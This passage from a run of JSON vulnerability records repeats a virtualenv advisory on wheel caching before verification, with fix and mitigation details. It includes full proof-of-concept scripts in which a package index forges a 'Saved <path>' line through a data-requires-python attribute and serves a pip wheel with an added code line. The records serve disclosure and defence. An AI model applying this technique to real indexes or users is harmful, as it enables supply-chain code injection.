\"index.html\").write_text(\n    f\u0027\u003c!DOCTYPE html\u003e\\n\u003ca href=\"/files/{wheel.name}#sha256={sha256}\"\u003e{wheel.name}\u003c/a\u003e\\n\u0027\n)\n```\n\n**`repro.d/pip.conf`**\n\n```text\n[global]\nindex-url = http://127.0.0.1:8099/simple\n```\n\n**`repro.d/pypi_json_and_mirror.py`**\n\n```text\n\"\"\"Setup: what PyPI\u0027s JSON API answers for the seed wheels, and an index that mirrors PyPI faithfully.\n\nusage: pypi_json_and_mirror.py \u003cpypi_dir\u003e \u003cindex_dir\u003e\n\nThe wheels bundled with virtualenv are genuine PyPI files. \u003cpypi_dir\u003e/\u003cproject\u003e.json is what\nhttps://pypi.org/pypi/\u003cproject\u003e/json answers for them, with the digests of virtualenv\u0027s BUNDLE_SHA256 table.\n\u003cindex_dir\u003e is a PEP 503 tree (simple/\u003cproject\u003e/index.html, files/) that offers exactly these files.\n\"\"\"\n\nimport json\nimport shutil\nimport sys\nimport zipfile\nfrom email.parser import HeaderParser\nfrom html import escape\nfrom pathlib import Path\n\nfrom virtualenv.seed.wheels.embed import BUNDLE_FOLDER, BUNDLE_SHA256\n\npypi_dir, index_dir = Path(sys.argv[1]), Path(sys.argv[2])\npypi_dir.mkdir()\n(index_dir / \"files\").mkdir(parents=True)\n\nfor project in (\"pip\", \"setuptools\"):\n    releases, links = {}, []\n    for filename, sha256 in BUNDLE_SHA256.items():\n        name, version = filename.split(\"-\")[:2]\n        if name != project:\n            continue\n        shutil.copy(BUNDLE_FOLDER / filename, index_dir / \"files\")\n        releases[version] = [{\"filename\": filename, \"digests\": {\"sha256\": sha256}, \"upload_time\": \"2026-01-01T00:00:00\"}]\n        with zipfile.ZipFile(BUNDLE_FOLDER / filename) as wheel:\n            metadata = HeaderParser().parsestr(wheel.read(f\"{name}-{version}.dist-info/METADATA\").decode())\n        requires_python = escape(metadata[\"Requires-Python\"])\n        links.append(f\u0027\u003ca href=\"/files/{filename}#sha256={sha256}\" data-requires-python=\"{requires_python}\"\u003e{filename}\u003c/a\u003e\u0027)\n    (pypi_dir / f\"{project}.json\").write_text(json.dumps({\"releases\": releases}))\n    (index_dir / \"simple\" / project).mkdir(parents=True)\n    (index_dir / \"simple\" / project / \"index.html\").write_text(\"\u003c!DOCTYPE html\u003e\\n\" + \"\\n\".join(links) + \"\\n\")\n```\n\n**`repro.d/virtualenv_with_local_pypi_json.py`**\n\n```text\n\"\"\"Setup: the virtualenv command line, with PyPI\u0027s JSON API answered from local files because there is no network.\n\nusage: virtualenv_with_local_pypi_json.py \u003cpypi_dir\u003e \u003cvirtualenv arguments...\u003e\n\nOnly the request for https://pypi.org/pypi/\u003cproject\u003e/json is replaced: it is answered from \u003cpypi_dir\u003e/\u003cproject\u003e.json.\npip, the index pip talks to and the rest of virtualenv are the real thing.\n\"\"\"\n\nimport sys\nfrom pathlib import Path\nfrom unittest import mock\n\nfrom virtualenv.__main__ import run_with_catch\n\npypi_dir = Path(sys.argv[1])\n\n\ndef pypi_json_api(url, context):\n    assert url.startswith(\"https://pypi.org/pypi/\") and context is None, url\n    project = url.split(\"/\")[4]\n    return (pypi_dir / f\"{project}.json\").open(\"rb\")\n\n\nwith mock.patch(\"virtualenv.seed.wheels.periodic_update.urlopen\", pypi_json_api):\n    run_with_catch(sys.argv[2:])\n```\n\n## Impact\n\nA file rejected during download verification can remain available for later cache selection. Exploitation requires\nadditional control over the downloaded data or archive selection; this finding alone does not bypass TLS.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix downloads into a private temporary directory and verifies archive identity, requested version, digest\nwhere applicable, and Python compatibility before promoting a wheel into the reusable cache.\n\nFix: [PR #3430](https://github.com/pypa/virtualenv/pull/3430).\n\n## Known mitigation\n\nAfter a failed verification, discard that download cache before reusing it. Use embedded wheels while reviewing\nunexpected download failures.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-ST00DRO3.",
  "id": "BREW-pipenv-CVE-2026-113714",
  "modified": "2026-10-30T08:53:32Z",
  "published": "2026-10-26T09:13:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-494p-63j8-28p3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113714"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/pull/3430"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pypa/virtualenv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "virtualenv: Downloaded wheel selection and caching precede verification",
  "upstream": [
    "GHSA-494p-63j8-28p3",
    "CVE-2026-113714",
    "BIT-virtualenv-2026-113714"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "virtualenv",
        "resource_purl": "pkg:pypi/virtualenv@21.14.13",
        "upstream_fixed_in": "21.14.9"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "poetry",
        "purl": "pkg:brew/poetry"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.5.0"
            },
            {
              "fixed": "2.5.1_1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/virtualenv@21.14.13",
        "name": "virtualenv",
        "resource": "virtualenv",
        "strategy": "registry",
        "subject_version": "21.14.13"
      }
    ]
  },
  "details": "## Summary\n\nWheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip\u0027s textual\noutput. A verification failure does not remove the downloaded file from that cache.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-ST00DRO3` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nDownload selection and promotion into the reusable wheel cache.\n\n## Attacker-controlled input\n\nA download must fail verification, or the archive selected from pip output must differ from the file later reused.\nDefault-index digest verification must be enabled. Existing custom-index exceptions are outside the promised PyPI\ncomparison.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[wheel download and digest check](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/wheels/acquire.py).\n\n## Mechanism\n\n`download_wheel()` tells pip to write directly into the reusable `wheel/house` cache. It then selects a path to hash\nfrom the first `Saved ` line in pip\u0027s stdout, rather than from the file pip actually placed there. A package index can\ninject such a line through a discarded link\u0027s `data-requires-python` attribute. A separate failure exists without the\nforged line: a digest mismatch raises after the downloaded wheel has entered the cache, and the rejected bytes remain\nthere. Later wheel selection does not hash the cached file again.\n\n## Reproduction and evidence\n\nThe scanner used a local index configured in `pip.conf`, with PyPI digest comparison still enabled. In the control case\nit served a modified pip wheel alone. `virtualenv --upgrade-embed-wheels` refused the mismatch, and a subsequent\nenvironment used the bundled pip. In the attack case the index added a link whose `data-requires-python` contained a\nforged `Saved \u003cpath\u003e` line pointing at a genuine bundled wheel. The upgrade then exited without a digest error, recorded\nthe modified wheel in its update log, and a later environment\u0027s `pip --version` ran a line added by the index. The\nreproduction used a known absolute path to the genuine bundled wheel; that prerequisite is part of this variant.\n\nThe report also shows that a refused wheel can replace a previously accepted file of the same name in `wheel/house`,\nleaving rejected bytes available for later use. It does not claim to bypass TLS or affect the default PyPI setup. The\ngap follows the digest check added in #3251, first released in 21.7.12.\n[PR #3430](https://github.com/pypa/virtualenv/pull/3430) downloads to a private temporary directory, verifies the actual\narchive, and promotes it only after acceptance.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant I as Configured index\n    participant P as pip download\n    participant C as wheel/house cache\n    participant V as virtualenv digest check\n    participant N as New environment\n    I-\u003e\u003eP: modified wheel and forged Saved line\n    P-\u003e\u003eC: write modified wheel directly\n    P--\u003e\u003eV: stdout names genuine bundled wheel\n    V-\u003e\u003eV: hash genuine wheel and accept\n    V-\u003e\u003eC: record modified wheel for reuse\n    C-\u003e\u003eN: seed modified pip without rehash\n    Note over P,C: Even a rejected wheel can remain in the cache\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-ST00DRO3`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport atexit\nimport hashlib\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\ncompanions = Path(\"/tmp/repro.d\")\nwork = Path(\"/tmp/forged-saved-line\")\nhome = work / \"home\"\napp_data = home / \".cache\" / \"virtualenv\"\nthis_python = f\"{sys.version_info.major}.{sys.version_info.minor}\"  # the target; each Python has its own update log\nupdate_log_of_pip = app_data / \"wheel\" / this_python / \"embed\" / \"3\" / \"pip.json\"\nvirtualenv = [sys.executable, companions / \"virtualenv_with_local_pypi_json.py\", work / \"pypi\"]\nas_user = {\"cwd\": home, \"env\": {\"HOME\": str(home), \"PATH\": os.environ[\"PATH\"]}, \"capture_output\": True, \"text\": True}\nadded_code_prints = \"code added by the index\"  # the line index_serves_modified_pip.py adds to pip/__init__.py\n\n\ndef user_upgrades_seed_wheels_and_creates_env():\n    # each case starts from an empty app-data\n    shutil.rmtree(app_data, ignore_errors=True)\n    shutil.rmtree(home / \"env\", ignore_errors=True)\n    upgrade = subprocess.run([*virtualenv, \"--upgrade-embed-wheels\"], **as_user)\n    # --no-periodic-update: the background update is another process, which the PyPI stand-in does not reach\n    subprocess.run([*virtualenv, \"--no-periodic-update\", \"env\"], **as_user, check=True)\n    pip_version = subprocess.run([home / \"env\" / \"bin\" / \"python\", \"-m\", \"pip\", \"--version\"], **as_user, check=True)\n    # one thread per target Python; a refused wheel ends its thread with a traceback on stderr, the exit code stays 0\n    refusal = next((line for line in upgrade.stderr.splitlines() if \"but PyPI reports\" in line), None)\n    logged = []\n    if update_log_of_pip.exists():  # a failed update writes no log\n        logged = [entry[\"filename\"] for entry in json.loads(update_log_of_pip.read_text())[\"versions\"]]\n    return refusal, logged, pip_version.stdout.splitlines()\n\n\n# set up: PyPI\u0027s answers, a faithful mirror of PyPI on 127.0.0.1:8099, a user whose pip.conf points pip at it\nshutil.rmtree(work, ignore_errors=True)\n(home / \".config\" / \"pip\").mkdir(parents=True)\nshutil.copy(companions / \"pip.conf\", home / \".config\" / \"pip\" / \"pip.conf\")\nsubprocess.run([sys.executable, companions / \"pypi_json_and_mirror.py\", work / \"pypi\", work / \"index\"], check=True)\nindex_server = subprocess.Popen(\n    [sys.executable, \"-u\", \"-m\", \"http.server\", \"8099\", \"--bind\", \"127.0.0.1\", \"--directory\", work / \"index\"],\n    stdout=subprocess.PIPE,\n    stderr=subprocess.DEVNULL,\n    text=True,\n)\natexit.register(index_server.kill)\nassert index_server.stdout.readline().startswith(\"Serving HTTP\"), \"index server did not start\"  # printed once bound\n\n# control: the index serves a modified pip 26.0.1, and virtualenv\u0027s comparison with PyPI\u0027s SHA-256 refuses it\nsubprocess.run([sys.executable, companions / \"index_serves_modified_pip.py\", work / \"index\"], check=True)\nrefusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()\nprint(\"CONTROL  modified pip: --upgrade-embed-wheels refused with:\", refusal)\nprint(\"CONTROL  modified pip: update log of pip lists\", logged)\nprint(\"CONTROL  modified pip: pip --version in the new env prints\", pip_says)\ncontrol_ran_added_code = added_code_prints in \"\\n\".join(pip_says)\n\n# attack: the index also adds one link, whose data-requires-python puts a \"Saved \u003cpath\u003e\" line into pip\u0027s output\nsubprocess.run([sys.executable, companions / \"index_forges_saved_line.py\", work / \"index\"], check=True)\nrefusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()\nstored_wheel = app_data / \"wheel\" / \"house\" / \"pip-26.0.1-py3-none-any.whl\"\nstored_sha256 = hashlib.sha256(stored_wheel.read_bytes()).hexdigest()\npypi_sha256 = json.loads((work / \"pypi\" / \"pip.json\").read_text())[\"releases\"][\"26.0.1\"][0][\"digests\"][\"sha256\"]\nprint(\"OBSERVED + forged line: --upgrade-embed-wheels refused with:\", refusal)\nprint(\"OBSERVED + forged line: update log of pip lists\", logged)\nprint(\"OBSERVED + forged line: sha256 of that wheel in wheel/house:\", stored_sha256)\nprint(\"OBSERVED + forged line: sha256 PyPI publishes for that name:\", pypi_sha256)\nprint(\"OBSERVED + forged line: pip --version in the new env prints\", pip_says)\nattack_ran_added_code = added_code_prints in \"\\n\".join(pip_says)\n\n# check: the same modified wheel, refused without the forged line, is seeded with it\nprint(\"BUG\" if attack_ran_added_code and not control_ran_added_code else \"OK\")\n```\n\n**`repro.d/index_forges_saved_line.py`**\n\n```text\n\"\"\"Attacker, as the operator of the index the user\u0027s pip.conf names: make pip print a \"Saved \u003cpath\u003e\" line of its choice.\n\nusage: index_forges_saved_line.py \u003cindex_dir\u003e\n\nAdds one link to the page of pip; the file behind it is a renamed copy of the genuine pip 26.2.1.\n\"\"\"\n\nimport shutil\nimport sys\nfrom pathlib import Path\n\n# a genuine PyPI file named pip-26.0.1-py3-none-any.whl on the user\u0027s disk: the wheel virtualenv bundles for Python 3.9,\n# at the same path for every user of this image\nGENUINE_WHEEL_ON_USERS_DISK = \"/src/src/virtualenv/seed/wheels/embed/pip-26.0.1-py3-none-any.whl\"\n\nindex_dir = Path(sys.argv[1])\n\n# named 100.0 while its METADATA says 26.2.1: pip tries it first, then drops it with\n# \"Discarding \u003clink\u003e (requires-python:\u003cattribute\u003e): ... has inconsistent version\" on stdout\nshutil.copy(index_dir / \"files\" / \"pip-26.2.1-py3-none-any.whl\", index_dir / \"files\" / \"pip-100.0-py3-none-any.whl\")\n\n# pip keeps a link whose data-requires-python it cannot parse, and prints the attribute as written; \u0026#10; is a line feed\nwith (index_dir / \"simple\" / \"pip\" / \"index.html\").open(\"a\") as page:\n    page.write(\n        \u0027\u003ca href=\"/files/pip-100.0-py3-none-any.whl\"\u0027\n        f\u0027 data-requires-python=\"\u0026#10;Saved {GENUINE_WHEEL_ON_USERS_DISK}\u0026#10;\"\u003epip-100.0-py3-none-any.whl\u003c/a\u003e\\n\u0027\n    )\n```\n\n**`repro.d/index_serves_modified_pip.py`**\n\n```text\n\"\"\"Attacker, as the operator of the index the user\u0027s pip.conf names: serve a modified pip under a genuine name.\n\nusage: index_serves_modified_pip.py \u003cindex_dir\u003e\n\npip 26.0.1 on the index gets one more line of code in pip/__init__.py and becomes the only pip on offer. On its own,\nvirtualenv\u0027s comparison with PyPI\u0027s SHA-256 catches this.\n\"\"\"\n\nimport hashlib\nimport io\nimport sys\nimport zipfile\nfrom pathlib import Path\n\nADDED_CODE = b\u0027\\nprint(\"code added by the index runs as uid\", __import__(\"os\").getuid())\\n\u0027\n\nindex_dir = Path(sys.argv[1])\nwheel = index_dir / \"files\" / \"pip-26.0.1-py3-none-any.whl\"\n\ngenuine = zipfile.ZipFile(io.BytesIO(wheel.read_bytes()))\nwith zipfile.ZipFile(wheel, \"w\") as modified:\n    for entry in genuine.infolist():\n        content = genuine.read(entry)\n        if entry.filename == \"pip/__init__.py\":\n            content += ADDED_CODE\n        modified.writestr(entry, content)\n\n# the #sha256= that every PyPI link carries matters: --upgrade-embed-wheels copies the bundled pip 26.0.1 into pip\u0027s\n# download folder first, and pip replaces a file of the same name there only when the link\u0027s digest differs\nsha256 = hashlib.sha256(wheel.read_bytes()).hexdigest()\n(index_dir / \"simple\" / \"pip\" / \"index.html\").write_text(\n    f\u0027\u003c!DOCTYPE html\u003e\\n\u003ca href=\"/files/{wheel.name}#sha256={sha256}\"\u003e{wheel.name}\u003c/a\u003e\\n\u0027\n)\n```\n\n**`repro.d/pip.conf`**\n\n```text\n[global]\nindex-url = http://127.0.0.1:8099/simple\n```\n\n**`repro.d/pypi_json_and_mirror.py`**\n\n```text\n\"\"\"Setup: what PyPI\u0027s JSON API answers for the seed wheels, and an index that mirrors PyPI faithfully.\n\nusage: pypi_json_and_mirror.py \u003cpypi_dir\u003e \u003cindex_dir\u003e\n\nThe wheels bundled with virtualenv are genuine PyPI files. \u003cpypi_dir\u003e/\u003cproject\u003e.json is what\nhttps://pypi.org/pypi/\u003cproject\u003e/json answers for them, with the digests of virtualenv\u0027s BUNDLE_SHA256 table.\n\u003cindex_dir\u003e is a PEP 503 tree (simple/\u003cproject\u003e/index.html, files/) that offers exactly these files.\n\"\"\"\n\nimport json\nimport shutil\nimport sys\nimport zipfile\nfrom email.parser import HeaderParser\nfrom html import escape\nfrom pathlib import Path\n\nfrom virtualenv.seed.wheels.embed import BUNDLE_FOLDER, BUNDLE_SHA256\n\npypi_dir, index_dir = Path(sys.argv[1]), Path(sys.argv[2])\npypi_dir.mkdir()\n(index_dir / \"files\").mkdir(parents=True)\n\nfor project in (\"pip\", \"setuptools\"):\n    releases, links = {}, []\n    for filename, sha256 in BUNDLE_SHA256.items():\n        name, version = filename.split(\"-\")[:2]\n        if name != project:\n            continue\n        shutil.copy(BUNDLE_FOLDER / filename, index_dir / \"files\")\n        releases[version] = [{\"filename\": filename, \"digests\": {\"sha256\": sha256}, \"upload_time\": \"2026-01-01T00:00:00\"}]\n        with zipfile.ZipFile(BUNDLE_FOLDER / filename) as wheel:\n            metadata = HeaderParser().parsestr(wheel.read(f\"{name}-{version}.dist-info/METADATA\").decode())\n        requires_python = escape(metadata[\"Requires-Python\"])\n        links.append(f\u0027\u003ca href=\"/files/{filename}#sha256={sha256}\" data-requires-python=\"{requires_python}\"\u003e{filename}\u003c/a\u003e\u0027)\n    (pypi_dir / f\"{project}.json\").write_text(json.dumps({\"releases\": releases}))\n    (index_dir / \"simple\" / project).mkdir(parents=True)\n    (index_dir / \"simple\" / project / \"index.html\").write_text(\"\u003c!DOCTYPE html\u003e\\n\" + \"\\n\".join(links) + \"\\n\")\n```\n\n**`repro.d/virtualenv_with_local_pypi_json.py`**\n\n```text\n\"\"\"Setup: the virtualenv command line, with PyPI\u0027s JSON API answered from local files because there is no network.\n\nusage: virtualenv_with_local_pypi_json.py \u003cpypi_dir\u003e \u003cvirtualenv arguments...\u003e\n\nOnly the request for https://pypi.org/pypi/\u003cproject\u003e/json is replaced: it is answered from \u003cpypi_dir\u003e/\u003cproject\u003e.json.\npip, the index pip talks to and the rest of virtualenv are the real thing.\n\"\"\"\n\nimport sys\nfrom pathlib import Path\nfrom unittest import mock\n\nfrom virtualenv.__main__ import run_with_catch\n\npypi_dir = Path(sys.argv[1])\n\n\ndef pypi_json_api(url, context):\n    assert url.startswith(\"https://pypi.org/pypi/\") and context is None, url\n    project = url.split(\"/\")[4]\n    return (pypi_dir / f\"{project}.json\").open(\"rb\")\n\n\nwith mock.patch(\"virtualenv.seed.wheels.periodic_update.urlopen\", pypi_json_api):\n    run_with_catch(sys.argv[2:])\n```\n\n## Impact\n\nA file rejected during download verification can remain available for later cache selection. Exploitation requires\nadditional control over the downloaded data or archive selection; this finding alone does not bypass TLS.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix downloads into a private temporary directory and verifies archive identity, requested version, digest\nwhere applicable, and Python compatibility before promoting a wheel into the reusable cache.\n\nFix: [PR #3430](https://github.com/pypa/virtualenv/pull/3430).\n\n## Known mitigation\n\nAfter a failed verification, discard that download cache before reusing it. Use embedded wheels while reviewing\nunexpected download failures.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-ST00DRO3.",
  "id": "BREW-poetry-CVE-2026-113714",
  "modified": "2026-10-29T22:19:24Z",
  "published": "2026-10-26T09:10:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-494p-63j8-28p3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113714"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/pull/3430"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pypa/virtualenv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "virtualenv: Downloaded wheel selection and caching precede verification",
  "upstream": [
    "GHSA-494p-63j8-28p3",
    "CVE-2026-113714",
    "BIT-virtualenv-2026-113714"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "virtualenv",
        "resource_purl": "pkg:pypi/virtualenv@21.14.13",
        "upstream_fixed_in": "21.14.9"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "pre-commit",
        "purl": "pkg:brew/pre-commit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.6.2_1"
            },
            {
              "fixed": "4.7.0_1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/virtualenv@21.14.13",
        "name": "virtualenv",
        "resource": "virtualenv",
        "strategy": "registry",
        "subject_version": "21.14.13"
      }
    ]
  },
  "details": "## Summary\n\nWheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip\u0027s textual\noutput. A verification failure does not remove the downloaded file from that cache.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-ST00DRO3` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nDownload selection and promotion into the reusable wheel cache.\n\n## Attacker-controlled input\n\nA download must fail verification, or the archive selected from pip output must differ from the file later reused.\nDefault-index digest verification must be enabled. Existing custom-index exceptions are outside the promised PyPI\ncomparison.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[wheel download and digest check](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/wheels/acquire.py).\n\n## Mechanism\n\n`download_wheel()` tells pip to write directly into the reusable `wheel/house` cache. It then selects a path to hash\nfrom the first `Saved ` line in pip\u0027s stdout, rather than from the file pip actually placed there. A package index can\ninject such a line through a discarded link\u0027s `data-requires-python` attribute. A separate failure exists without the\nforged line: a digest mismatch raises after the downloaded wheel has entered the cache, and the rejected bytes remain\nthere. Later wheel selection does not hash the cached file again.\n\n## Reproduction and evidence\n\nThe scanner used a local index configured in `pip.conf`, with PyPI digest comparison still enabled. In the control case\nit served a modified pip wheel alone. `virtualenv --upgrade-embed-wheels` refused the mismatch, and a subsequent\nenvironment used the bundled pip. In the attack case the index added a link whose `data-requires-python` contained a\nforged `Saved \u003cpath\u003e` line pointing at a genuine bundled wheel. The upgrade then exited without a digest error, recorded\nthe modified wheel in its update log, and a later environment\u0027s `pip --version` ran a line added by the index. The\nreproduction used a known absolute path to the genuine bundled wheel; that prerequisite is part of this variant.\n\nThe report also shows that a refused wheel can replace a previously accepted file of the same name in `wheel/house`,\nleaving rejected bytes available for later use. It does not claim to bypass TLS or affect the default PyPI setup. The\ngap follows the digest check added in #3251, first released in 21.7.12.\n[PR #3430](https://github.com/pypa/virtualenv/pull/3430) downloads to a private temporary directory, verifies the actual\narchive, and promotes it only after acceptance.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant I as Configured index\n    participant P as pip download\n    participant C as wheel/house cache\n    participant V as virtualenv digest check\n    participant N as New environment\n    I-\u003e\u003eP: modified wheel and forged Saved line\n    P-\u003e\u003eC: write modified wheel directly\n    P--\u003e\u003eV: stdout names genuine bundled wheel\n    V-\u003e\u003eV: hash genuine wheel and accept\n    V-\u003e\u003eC: record modified wheel for reuse\n    C-\u003e\u003eN: seed modified pip without rehash\n    Note over P,C: Even a rejected wheel can remain in the cache\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-ST00DRO3`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport atexit\nimport hashlib\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\ncompanions = Path(\"/tmp/repro.d\")\nwork = Path(\"/tmp/forged-saved-line\")\nhome = work / \"home\"\napp_data = home / \".cache\" / \"virtualenv\"\nthis_python = f\"{sys.version_info.major}.{sys.version_info.minor}\"  # the target; each Python has its own update log\nupdate_log_of_pip = app_data / \"wheel\" / this_python / \"embed\" / \"3\" / \"pip.json\"\nvirtualenv = [sys.executable, companions / \"virtualenv_with_local_pypi_json.py\", work / \"pypi\"]\nas_user = {\"cwd\": home, \"env\": {\"HOME\": str(home), \"PATH\": os.environ[\"PATH\"]}, \"capture_output\": True, \"text\": True}\nadded_code_prints = \"code added by the index\"  # the line index_serves_modified_pip.py adds to pip/__init__.py\n\n\ndef user_upgrades_seed_wheels_and_creates_env():\n    # each case starts from an empty app-data\n    shutil.rmtree(app_data, ignore_errors=True)\n    shutil.rmtree(home / \"env\", ignore_errors=True)\n    upgrade = subprocess.run([*virtualenv, \"--upgrade-embed-wheels\"], **as_user)\n    # --no-periodic-update: the background update is another process, which the PyPI stand-in does not reach\n    subprocess.run([*virtualenv, \"--no-periodic-update\", \"env\"], **as_user, check=True)\n    pip_version = subprocess.run([home / \"env\" / \"bin\" / \"python\", \"-m\", \"pip\", \"--version\"], **as_user, check=True)\n    # one thread per target Python; a refused wheel ends its thread with a traceback on stderr, the exit code stays 0\n    refusal = next((line for line in upgrade.stderr.splitlines() if \"but PyPI reports\" in line), None)\n    logged = []\n    if update_log_of_pip.exists():  # a failed update writes no log\n        logged = [entry[\"filename\"] for entry in json.loads(update_log_of_pip.read_text())[\"versions\"]]\n    return refusal, logged, pip_version.stdout.splitlines()\n\n\n# set up: PyPI\u0027s answers, a faithful mirror of PyPI on 127.0.0.1:8099, a user whose pip.conf points pip at it\nshutil.rmtree(work, ignore_errors=True)\n(home / \".config\" / \"pip\").mkdir(parents=True)\nshutil.copy(companions / \"pip.conf\", home / \".config\" / \"pip\" / \"pip.conf\")\nsubprocess.run([sys.executable, companions / \"pypi_json_and_mirror.py\", work / \"pypi\", work / \"index\"], check=True)\nindex_server = subprocess.Popen(\n    [sys.executable, \"-u\", \"-m\", \"http.server\", \"8099\", \"--bind\", \"127.0.0.1\", \"--directory\", work / \"index\"],\n    stdout=subprocess.PIPE,\n    stderr=subprocess.DEVNULL,\n    text=True,\n)\natexit.register(index_server.kill)\nassert index_server.stdout.readline().startswith(\"Serving HTTP\"), \"index server did not start\"  # printed once bound\n\n# control: the index serves a modified pip 26.0.1, and virtualenv\u0027s comparison with PyPI\u0027s SHA-256 refuses it\nsubprocess.run([sys.executable, companions / \"index_serves_modified_pip.py\", work / \"index\"], check=True)\nrefusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()\nprint(\"CONTROL  modified pip: --upgrade-embed-wheels refused with:\", refusal)\nprint(\"CONTROL  modified pip: update log of pip lists\", logged)\nprint(\"CONTROL  modified pip: pip --version in the new env prints\", pip_says)\ncontrol_ran_added_code = added_code_prints in \"\\n\".join(pip_says)\n\n# attack: the index also adds one link, whose data-requires-python puts a \"Saved \u003cpath\u003e\" line into pip\u0027s output\nsubprocess.run([sys.executable, companions / \"index_forges_saved_line.py\", work / \"index\"], check=True)\nrefusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()\nstored_wheel = app_data / \"wheel\" / \"house\" / \"pip-26.0.1-py3-none-any.whl\"\nstored_sha256 = hashlib.sha256(stored_wheel.read_bytes()).hexdigest()\npypi_sha256 = json.loads((work / \"pypi\" / \"pip.json\").read_text())[\"releases\"][\"26.0.1\"][0][\"digests\"][\"sha256\"]\nprint(\"OBSERVED + forged line: --upgrade-embed-wheels refused with:\", refusal)\nprint(\"OBSERVED + forged line: update log of pip lists\", logged)\nprint(\"OBSERVED + forged line: sha256 of that wheel in wheel/house:\", stored_sha256)\nprint(\"OBSERVED + forged line: sha256 PyPI publishes for that name:\", pypi_sha256)\nprint(\"OBSERVED + forged line: pip --version in the new env prints\", pip_says)\nattack_ran_added_code = added_code_prints in \"\\n\".join(pip_says)\n\n# check: the same modified wheel, refused without the forged line, is seeded with it\nprint(\"BUG\" if attack_ran_added_code and not control_ran_added_code else \"OK\")\n```\n\n**`repro.d/index_forges_saved_line.py`**\n\n```text\n\"\"\"Attacker, as the operator of the index the user\u0027s pip.conf names: make pip print a \"Saved \u003cpath\u003e\" line of its 